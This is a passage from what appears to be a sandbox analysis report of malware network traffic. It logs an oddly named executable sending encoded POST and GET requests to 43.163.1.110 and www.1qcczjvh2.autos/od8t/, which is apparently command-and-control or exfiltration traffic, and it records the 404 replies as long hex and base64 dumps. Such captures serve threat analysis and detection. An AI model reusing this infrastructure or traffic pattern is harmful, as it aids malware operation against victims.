35 37 6f 48 75 31 58 43 4e 71 6c 76 74 56 30 74 75 35 77 4e 76 43 45 55 3d Data Ascii: KV=eU4BQVoGQCnLMOg0xrJ0pi/L2rP8N/7CG8vvM3jx70Nhd8Qds9w4BZqupNmJYj4b1BIBsmK7HvMKdP0cOIVyfOC3H1Ckm9eTdrczCAZLL5oiFCEWxIvzPOnvr9fIOOi11YJK2ijpBMEdFvvVj5ajagZPuFaTJNG/0PL3tG9MP9gPeC3jUSsBg12N9plkhM257oHu1XCNqlvtV0tu5wNvCEU=
Nov 20, 2024 16:54:28.418620110 CET	1236	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 20 Nov 2024 15:54:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 58288 Connection: close Vary: Accept-Encoding ETag: "67344967-e3b0" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {height: 100%;}body {height: 100%;font-size: 14px;}.container {display: flex;flex-direction: column;align-items: center;height: 100%;padding-top: 12%;}.logo img { display: block; width: 100px;}.logo img + img { margin-top: 12px;}.title {margin-top: 24px;font-size: 110px;color: #333;letter-spacing: 10px;}.desc {font-size: 16px;color: #777;text-align: center;line-height: 24px;}.footer {/* position: absolute;left: 0;bottom: 32px;width: 100%; */margin-top: 24px;text-align: center;font-size: 12px;}.footer .btlink {color: #20a53a;text-decoration: no [TRUNCATED]
Nov 20, 2024 16:54:28.418751001 CET	1236	IN	Data Raw: 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0a 09 09 09 09 3c 69 6d 67 20 73 72 63 3d Data Ascii: le></head><body><div class="container"><div class="logo"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEDCAYAAACPhzmWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAt+wAALfsB/IdK5wAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIE
Nov 20, 2024 16:54:28.418788910 CET	448	IN	Data Raw: 59 37 33 42 72 51 47 72 32 75 44 72 39 4a 4f 4a 78 57 47 36 45 41 56 30 42 42 4f 51 37 78 46 39 4c 54 35 35 38 66 2b 69 52 48 56 59 6d 78 51 41 41 7a 32 46 47 7a 55 70 38 38 31 31 37 7a 44 64 70 54 4c 74 64 45 50 41 31 67 4a 4b 46 4e 46 66 6c 4d Data Ascii: Y73BrQGr2uDr9JOJxWG6EAV0BBOQ7xF9LT558f+iRHVYmxQAAz2FGzUp88117zDdpTLtdEPA1gJKFNFflMXT5CYVVBMAXOChkWczTlx/Zse+bjq9aD5/Y3yLbYolkAIhw6Y3m2u/gzw0FEJjvGgKox2Pr9hOIx2G5EQJeL3jMIoldD934ptP9nKyRAT5c2IEY0+SVW00j4Uf7QDZHUVo3dvUJh4qcxjGwBtcz06NX9h7x+YauPa
Nov 20, 2024 16:54:28.418824911 CET	1236	IN	Data Raw: 62 76 57 45 56 56 55 57 59 45 59 43 32 4c 75 32 64 68 7a 2f 78 4f 43 7a 33 30 62 71 6f 45 78 78 77 66 64 62 53 37 33 6a 77 6e 4c 31 52 31 51 4d 79 41 58 62 47 52 66 33 79 38 43 68 6e 41 4e 78 58 59 73 67 59 6f 32 54 54 6e 5a 49 51 32 52 30 62 5a Data Ascii: bvWEVVUWYEYC2Lu2dhz/xOCz30bqoExxwfdbS73jwnL1R1QMyAXbGRf3y8ChnANxXYsgYo2TTnZIQ2R0bZs1pbPvCRl8eionHYbmBTefnBQKoW9R5nqPU5GCzF4gKHYEVwnWATrmmdx4Kcms3bkB2WnZhgPfFxJRAWEVbMVpVAamGa3rnIT8eh+Ue6kBOmC0UNc8lo2WFEiDyVdjeXhYVa2+dxYOTTBgSCYAZFZrr0kyWQJit92
Nov 20, 2024 16:54:28.418859959 CET	1236	IN	Data Raw: 6a 4a 54 48 34 6c 66 62 52 63 4a 41 6b 32 2b 6b 38 52 4f 56 74 6e 76 66 67 4d 42 36 48 35 58 70 73 37 76 36 70 4f 43 37 70 63 6e 71 47 43 71 41 67 4f 2b 30 6b 51 34 37 42 65 6f 52 6c 52 38 62 72 41 48 77 48 6f 46 48 2b 34 77 79 6f 6f 51 61 56 54 Data Ascii: jJTH4lfbRcJAk2+k8ROVtnvfgMB6H5Xps7v6pOC7pcnqGCqAgO+0kQ47BeoRlR8brAHwHoFH+4wyooQaVTjebo220+2njFZ3+9eqljVd0KgdgJh7VsQIAcBx2XLvDSoIeUcyoCGAVjW1bqDMhec0wwfbdmU+wtw4QJTt2KEWjwjzLLi7E47Bcj01HJPB0LzU9k2A/yj0BYpFfnDkAQgs5riJQw4zcbFsBkDoAI+3c+9/AABRYL6
Nov 20, 2024 16:54:28.418915033 CET	1236	IN	Data Raw: 43 57 7a 70 6c 48 50 37 61 42 2f 44 67 41 6a 77 4f 79 35 55 51 4d 51 43 32 55 6d 42 4d 5a 74 47 55 43 35 56 51 57 42 6d 76 67 6c 67 42 59 4e 6d 52 38 65 30 41 4c 49 47 4e 44 7a 34 52 55 6e 76 57 61 7a 32 47 52 72 51 65 44 49 34 61 32 47 2b 61 6e Data Ascii: CWzplHP7aB/DgAjwOy5UQMQC2UmBMZtGUC5VQWBmvglgBYNmR8e0ALIGNDz4RUnvWaz2GRrQeDI4a2G+anQKJ/1qHJUDIAnDEnh0ByMo1z76ZNr8i0jP7w+ZoiGbQ2HZvA4BO4BUkQLMyYJQDhjQbZgwEm5IOHhzD47BcCWNW2HBYREhnBBPUgv08wsS0K7+e/7QZgJ9hJ1SihJfmE6r2AoNGNUVZR2k2i9pp90v5T+W9kMkAMB
Nov 20, 2024 16:54:28.418951035 CET	1236	IN	Data Raw: 42 71 4e 64 43 31 69 4a 72 43 61 41 6a 67 4b 59 41 79 6a 4d 47 46 63 38 54 71 2b 69 72 47 37 37 6b 77 50 6e 66 39 35 36 2f 50 51 6c 65 36 67 74 49 77 54 32 49 7a 41 76 32 4b 32 2f 2f 69 55 50 44 73 63 34 31 42 31 6a 75 5a 71 56 31 58 50 58 69 73 Data Ascii: BqNdC1iJrCaAjgKYAyjMGFc8Tq+irG77kwPnf956/PQle6gtIwT2IzAv2K2//iUPDsc41B1juZqV1XPXisKTUnPRfchg7Puv4Du8qPgHVvAX1/DyzcgBeBjAXwH4A2w1G/TSDUd82z+P+1ykyhocA3M7M7OJTp2oCGCs66NBsPd+gdEktAysy/CFQp5lIlbvlQqe2t9B+FGADWNR/z1k9jCUcCjTZTaL4+vqzU8MxI24gigrt8N
Nov 20, 2024 16:54:28.418987036 CET	1236	IN	Data Raw: 62 33 78 2b 43 58 52 33 35 66 7a 6f 47 6f 35 34 44 30 42 70 41 54 77 44 64 41 4a 51 70 79 70 59 42 34 49 6a 2b 65 4c 71 6b 33 37 43 33 4a 71 32 4d 78 31 50 42 55 31 44 4b 37 38 47 36 34 6a 6c 6f 2b 46 64 78 7a 7a 6f 4e 50 49 55 42 61 4f 39 4d 66 Data Ascii: b3x+CXR35fzoGo54D0BpATwDdAJQpypYB4Ij+eLqk37C3Jq2Mx1PBU1DK78G64jlo+FdxzzoNPIUBaO9Mf5yKw+pVL/wCgO9yREvn12o0mXb8J+PrFkk8CAAqjn+tlM5vryF+87MaSWrrp9KMJ9sBfv4A3gbwC4BYg1H/icGo/9fmuZEsTWLzCZ9mMrdnP56/Dqv4qAQyY7fAWFq22VKnkNZzmlauOpiGtewJnnvexi1uAYhwrO
Nov 20, 2024 16:54:28.419023991 CET	1236	IN	Data Raw: 64 47 47 4c 31 46 51 31 47 2f 58 51 41 73 5a 41 56 51 65 78 57 2b 6d 45 41 56 44 79 33 74 37 53 50 72 73 58 49 67 59 76 6e 30 38 67 46 79 2b 43 72 2b 78 35 63 67 61 49 62 48 49 33 41 46 63 73 65 61 47 67 72 35 49 72 6f 41 4c 43 51 4c 59 36 7a 57 Data Ascii: dGGL1FQ1G/XQAsZAVQexW+mEAVDy3t7SPrsXIgYvn08gFy+Cr+x5cgaIbHI3AFcseaGgr5IroALCQLY6zWbrOFsVyWDz4WMhPdADwP3X/2i833l9+IDE7bVB+OwZAxfHtG5WucnT+yR3tDide6x2g0fUnIru6Qw/ahrxlbTQY9V8ajHpbI4y/lS41wxkAm3loAGCRxJaRGatKwGx5eLdQFC+fuX+3OssnBKjm+ZhuNSeuQp2Kc2
Nov 20, 2024 16:54:28.419063091 CET	721	IN	Data Raw: 45 6c 2b 59 49 43 4b 6d 48 37 36 55 6b 77 45 2b 72 4a 4a 7a 68 42 6f 42 2f 54 4d 43 75 77 61 69 76 61 6a 44 71 76 77 65 77 46 6e 4b 67 70 32 49 45 6e 74 76 59 73 6b 4b 70 6b 41 2f 37 7a 56 73 62 76 4f 58 59 7a 39 42 70 46 6f 47 6f 56 42 48 6d 56 Data Ascii: El+YICKmH76UkwE+rJJzhBoB/TMCuwaivajDqvwewFnKgp2IEntvYskKpkA/7zVsbvOXYz9BpFoGoVBHmV1CZex6bct8Bj4kFzkWzRXHFfk1cJeD3HfJpkBOAHIt58sYLS9871j/2BQZ2uagLeeKa1wkqe2rGse0fj10/84MAta4bOR6/0hFExry0HyWaUG6lS83hIoAD9uwsovjcuaFjfGCxxICAvAV4skpSdQAI0GkmU9feAn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49844	43.163.1.110	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:29.556777954 CET	1816	OUT	POST /od8t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.1qcczjvh2.autos Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.1qcczjvh2.autos Referer: http://www.1qcczjvh2.autos/od8t/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 65 55 34 42 51 56 6f 47 51 43 6e 4c 4d 4f 67 30 78 72 4a 30 70 69 2f 4c 32 72 50 38 4e 2f 37 43 47 38 76 76 4d 33 6a 78 37 30 46 68 42 66 6f 64 74 61 45 34 54 70 71 75 67 74 6d 64 59 6a 34 38 31 41 67 4e 73 6d 4f 72 48 73 34 4b 48 70 34 63 66 74 31 79 49 2b 43 33 46 31 44 44 37 74 65 43 64 72 73 33 43 41 4a 4c 4c 35 6f 69 46 45 6f 57 34 38 7a 7a 4a 4f 6e 73 71 39 66 4d 5a 2b 6a 37 31 59 52 61 32 69 33 35 42 38 6b 64 45 50 2f 56 69 4b 79 6a 46 51 5a 42 76 46 61 62 4a 4e 44 39 30 4d 2f 37 74 43 31 79 50 36 4d 50 63 47 6d 61 52 77 45 2b 39 57 57 65 70 6f 46 58 6d 50 53 48 36 71 75 56 36 53 7a 6e 77 78 48 46 53 42 51 62 74 43 42 2f 55 7a 6c 2b 53 7a 6a 41 7a 79 33 79 49 36 35 79 35 71 4f 77 43 43 6e 51 65 4d 76 4c 36 64 51 51 63 45 58 56 4a 33 59 6d 54 51 39 76 4e 73 6c 72 53 46 47 62 65 43 77 48 6d 6b 30 4f 47 6c 7a 6f 2b 61 68 53 6f 4d 41 59 47 76 6d 48 34 30 7a 54 30 47 43 61 50 58 34 75 63 35 56 79 4b 7a 72 79 69 70 79 4a 4d 6b 30 42 61 46 54 56 4d 6a 46 41 6a 55 41 58 75 77 6f 31 4b 62 6f [TRUNCATED] Data Ascii: KV=eU4BQVoGQCnLMOg0xrJ0pi/L2rP8N/7CG8vvM3jx70FhBfodtaE4TpqugtmdYj481AgNsmOrHs4KHp4cft1yI+C3F1DD7teCdrs3CAJLL5oiFEoW48zzJOnsq9fMZ+j71YRa2i35B8kdEP/ViKyjFQZBvFabJND90M/7tC1yP6MPcGmaRwE+9WWepoFXmPSH6quV6SznwxHFSBQbtCB/Uzl+SzjAzy3yI65y5qOwCCnQeMvL6dQQcEXVJ3YmTQ9vNslrSFGbeCwHmk0OGlzo+ahSoMAYGvmH40zT0GCaPX4uc5VyKzryipyJMk0BaFTVMjFAjUAXuwo1KboOLnYIAH2EsCqZu4Pc+R7IsLubeoMzVg0p9D5CWDxxkWhGFWFnRtvWmQ/LwXZLv5ngjCPe8vTI+bvtc105ewNbgedT6tt/u/s0GQfEEqe6Cu3XHNLxhv6Ytx4akEl2bFcBLOPuZG+9W+y4CsMxz1Z2WTr1UpyxBfcmew3GTPkNKSQp4iG7gzlO2cGvhWXgXXYNRUmL2qqJ09Hl0qZoXt9gReW+NqDsdTq6ZZPUleG2x1UtGwFOoszlHCJzOMDiMvorgYbwHL2RElgS7aAizp6qpg4qoAeOzVRHqnGMhLCd8sSmWqAJqANSdDLVIQuK2TjAmzPu74OjsRDR0UBZmO4/xdGDG4pab2SQxTLmkJpJ+fEqQYPf4ZOakcIG8/Rf2c2Lw+fl6bbxUKVYhfriiK57mLvQse/qIh6+AnMIutokCRVADLXpDgKXTEpwfknf5dwi8NuQ7A0uQVCvNWgmDUHiDK9zFm99yULXwOutRWGtuWejXs+31oauL0n2hQm7kcPJEeDv7mOClfvUcKznQL2bS1hOv0hIgi4mWdq4201zAYdLUMKZyr+Apef/4u5UWPl6rUUA4+LouqmeFVVa61x+z6e32mqrvS/ZLL86sal4ihXoLmk0yP2u9ryNocv+NrcTcWRcB6ZRkytKvZLEGI3a9z69zC7Qkx3pY [TRUNCATED]
Nov 20, 2024 16:54:31.132139921 CET	1236	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 20 Nov 2024 15:54:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 58288 Connection: close Vary: Accept-Encoding ETag: "67344967-e3b0" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {height: 100%;}body {height: 100%;font-size: 14px;}.container {display: flex;flex-direction: column;align-items: center;height: 100%;padding-top: 12%;}.logo img { display: block; width: 100px;}.logo img + img { margin-top: 12px;}.title {margin-top: 24px;font-size: 110px;color: #333;letter-spacing: 10px;}.desc {font-size: 16px;color: #777;text-align: center;line-height: 24px;}.footer {/* position: absolute;left: 0;bottom: 32px;width: 100%; */margin-top: 24px;text-align: center;font-size: 12px;}.footer .btlink {color: #20a53a;text-decoration: no [TRUNCATED]
Nov 20, 2024 16:54:31.132210970 CET	1236	IN	Data Raw: 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0a 09 09 09 09 3c 69 6d 67 20 73 72 63 3d Data Ascii: le></head><body><div class="container"><div class="logo"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEDCAYAAACPhzmWAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAt+wAALfsB/IdK5wAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIE
Nov 20, 2024 16:54:31.132247925 CET	1236	IN	Data Raw: 59 37 33 42 72 51 47 72 32 75 44 72 39 4a 4f 4a 78 57 47 36 45 41 56 30 42 42 4f 51 37 78 46 39 4c 54 35 35 38 66 2b 69 52 48 56 59 6d 78 51 41 41 7a 32 46 47 7a 55 70 38 38 31 31 37 7a 44 64 70 54 4c 74 64 45 50 41 31 67 4a 4b 46 4e 46 66 6c 4d Data Ascii: Y73BrQGr2uDr9JOJxWG6EAV0BBOQ7xF9LT558f+iRHVYmxQAAz2FGzUp88117zDdpTLtdEPA1gJKFNFflMXT5CYVVBMAXOChkWczTlx/Zse+bjq9aD5/Y3yLbYolkAIhw6Y3m2u/gzw0FEJjvGgKox2Pr9hOIx2G5EQJeL3jMIoldD934ptP9nKyRAT5c2IEY0+SVW00j4Uf7QDZHUVo3dvUJh4qcxjGwBtcz06NX9h7x+YauPa
Nov 20, 2024 16:54:31.132308006 CET	1236	IN	Data Raw: 4f 41 41 41 45 4a 50 31 79 63 4b 63 4a 6e 4b 49 52 31 68 6b 32 50 54 62 58 6c 73 47 79 49 2b 4d 46 41 42 38 44 47 50 33 62 31 51 73 6a 62 71 65 6e 70 56 51 4e 4c 4e 45 6e 6e 30 6b 75 67 45 4f 4e 56 33 54 36 4e 4c 35 50 39 42 59 46 39 2f 7a 58 38 Data Ascii: OAAAEJP1ycKcJnKIR1hk2PTbXlsGyI+MFAB8DGP3b1QsjbqenpVQNLNEnn0kugEONV3T6NL5P9BYF9/zX8dzyjk2IaBKANsi386rV0BEM9WoOwhoa224FgOksKjbDTnNHAdhMYGYM/jX9vFVbwOylS1VW0H0PDuCZErqeirZOEiF57flzAkBKFmSP2jq57Mj4MgDWQRb4C86yWNol7z0SIzGWmM9MC1maZlPjFZ0mNS5DCm7776
Nov 20, 2024 16:54:31.132348061 CET	896	IN	Data Raw: 33 36 30 2b 5a 2b 38 34 72 4f 35 5a 44 78 66 58 4a 64 79 71 4c 4d 61 53 6c 5a 62 44 55 4e 4d 5a 53 62 67 4f 4a 49 42 67 41 48 46 50 51 6a 33 38 63 63 31 71 38 57 45 48 67 2b 4a 6b 41 4b 79 73 42 51 59 77 78 2f 37 4e 4a 31 2f 33 42 6d 42 38 67 6a Data Ascii: 360+Z+84rO5ZDxfXJdyqLMaSlZbDUNMZSbgOJIBgAHFPQj38cc1q8WEHg+JkAKysBQYwx/7NJ1/3BmB8gj2RvZKRfZosnPksjZn4CjfC/IpoSQPiSxrZrxqJi84co2C09n2ayBoPnLtgx4wHySFu7EM8algthDCrYeAjIUdKqVHjpSihoruB0bRyAdjbsTXVLBwynwU1aQCX0KXDOG4RyINQBh5bg0A1gZRX04R+JxJiXRRJ7WC
Nov 20, 2024 16:54:31.132385015 CET	1236	IN	Data Raw: 65 64 2f 57 4f 44 49 47 6a 30 37 62 61 6c 42 67 72 55 7a 55 6f 4b 42 74 79 67 47 39 52 69 46 42 51 6a 65 64 4a 5a 4f 58 4a 79 55 56 56 48 62 4b 4a 77 77 36 72 35 71 49 32 76 6b 45 71 72 65 2f 51 70 73 30 47 54 34 34 64 2f 70 37 42 71 50 63 6b 65 Data Ascii: ed/WODIGj07balBgrUzUoKBtygG9RiFBQjedJZOXJyUVVHbKJww6r5qI2vkEqre/Qps0GT44d/p7BqPckeOYhMTEbcrJxUeQwBjOIsx3SwHC7XFj9dJNVqmhnAUQM8PIaQT2eeQYa1YcKurgGsBZW/PNfSb+QyGmQ8yhtQgBMVuvILZc+7YxzN98Be2RD4y84qrbn0lVvnZrfZ6tNBuimtw+1gjFba1hWyClWHgAYjPqyk2KHv/
Nov 20, 2024 16:54:31.132421017 CET	1236	IN	Data Raw: 6c 32 32 7a 70 75 48 76 77 32 46 78 59 78 56 31 46 47 75 57 59 4c 77 56 35 71 63 6f 79 68 6b 4b 6a 70 41 6b 34 39 32 72 74 43 58 50 78 65 74 50 78 41 4e 6b 53 44 45 77 45 38 41 36 4c 4d 74 72 57 62 66 6f 50 30 43 39 6b 68 67 6c 41 58 77 42 6e 37 Data Ascii: l22zpuHvw2FxYxV1FGuWYLwV5qcoyhkKjpAk492rtCXPxetPxANkSDEwE8A6LMtrWbfoP0C9khglAXwBn7dkmZ5s+M16fUQ1Xkt5AYaEOPN9s6YxNKQU+y3+d5rgDi09cyIBO3cXOrewlR/9rMRj1jQ1G/STIM6kYAJ9CDmz+c32W57i7Zf10PZYu3dqvbOSPo1DSdyNU3O+4J84Ej1XgsIMt2OWQEq7DDuvdBsMuikzaFnvr2M
Nov 20, 2024 16:54:31.132456064 CET	1236	IN	Data Raw: 37 6f 4b 47 4b 34 35 56 55 31 57 30 43 34 44 4d 41 38 51 61 6a 2f 6e 4f 44 55 56 2b 72 47 50 33 37 75 37 67 46 32 38 47 45 73 45 70 69 62 57 42 48 4a 65 53 61 43 73 71 61 41 4d 44 64 75 6d 57 44 30 36 30 53 65 32 53 71 37 4b 39 52 7a 58 67 36 6f Data Ascii: 7oKGK45VU1W0C4DMA8Qaj/nODUV+rGP37u7gF28GEsEpibWBHJeSaCsqaAMDdumWD060Se2Sq7K9RzXg6oO8dBQvtkSwq9j81HXGEfiGRmQxstBLbTJN5GVsRKSI9+6OHTghcYyAslee5iw8OEQCNIOwhChXB8/Z2ZkUA1xzt+9+NwagvZ4gdPgry4vkiAG1RhKrrAwSeO9uobGCofu2ByS1nbpiGQO+1IHqwpGGFF72Eq5Y6EL
Nov 20, 2024 16:54:31.132491112 CET	1236	IN	Data Raw: 7a 69 39 62 50 43 74 6f 54 34 4f 32 76 31 73 32 39 6d 70 6d 79 59 66 36 4a 75 43 4f 39 79 34 66 55 35 6f 6e 37 7a 51 48 39 44 56 2f 49 32 39 5a 37 44 55 62 39 42 49 4e 52 62 33 4d 52 38 47 2f 6b 42 47 7a 4c 7a 49 41 42 35 64 56 6d 56 67 33 33 6b Data Ascii: zi9bPCtoT4O2v1s29mpmyYf6JuCO9y4fU5on7zQH9DV/I29Z7DUb9BINRb3MR8G/kBGzLzIAB5dVmVg33kn/Jd9iM5Izr11Mz86/dWRpWLPExhTd/GQLfzUaTJshVZDw8zFwUIjddCMKeKwmr2LLZx5GVK69/qfjnPtt0KIUDLgBASS/1byinrQgim5Wh87BZU/LvwrBNrzUY9R8C2A/CFCgYUQF5Uyai3W83rNZw6JIta5cdvr
Nov 20, 2024 16:54:31.132525921 CET	273	IN	Data Raw: 63 32 35 37 38 74 48 2f 4a 46 69 71 65 6e 2b 64 67 4e 33 53 51 30 33 35 69 44 55 61 39 72 62 57 65 78 38 55 65 46 41 78 5a 4b 41 41 44 31 46 65 53 6a 33 5a 43 56 73 34 4f 79 4f 4c 4b 64 7a 4b 74 50 77 5a 62 52 61 6d 79 77 4e 47 4a 31 32 70 50 57 Data Ascii: c2578tH/JFiqen+dgN3SQ035iDUa9rbWex8UeFAxZKAAD1FeSj3ZCVs4OyOLKdzKtPwZbRamywNGJ12pPWII6FeeBiq51mMfX7GuPv7LDCtgJ6P0LVmLP1btrjjd5+jukZMb9kZJ+tYyf17wriekh4Dgl5ef/9qm5wahvDmAz5HVNxWu9DIBG4FdVLeHXYtiMtXtodNh2aFX/A8FWHU0TeOqJC2YTBPoRj5ZVO4pC/IMzuE4imb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49851	43.163.1.110	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:54:32.214546919 CET	507	OUT	GET /od8t/?KV=TWQhTiU1OhnYN4IGzL5Djgm2xLK+GsutbeycMWjZ529bH9hAjZgdb5GthJXWZD00/RQs8ByXB8t8HO5uPdBuEty+FSeypv/0YqJ9KzFrGa8mXVJ9lffIJok=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.1qcczjvh2.autos Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:54:33.843769073 CET	1236	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 20 Nov 2024 15:54:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 58288 Connection: close Vary: Accept-Encoding ETag: "67344967-e3b0" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {height: 100%;}body {height: 100%;font-size: 14px;}.container {display: flex;flex-direction: column;align-items: center;height: 100%;padding-top: 12%;}.logo img { display: block; width: 100px;}.logo img + img { margin-top: 12px;}.title {margin-top: 24px;font-size: 110px;color: #333;letter-spacing: 10px;}.desc {font-size: 16px;color: #777;text-align: center;line-height: 24px;}.footer {/* position: absolute;left: 0;bottom: 32px;width: 100%; */margin-top: 24px;text-align: center;font-size: 12px;}.footer .btlink 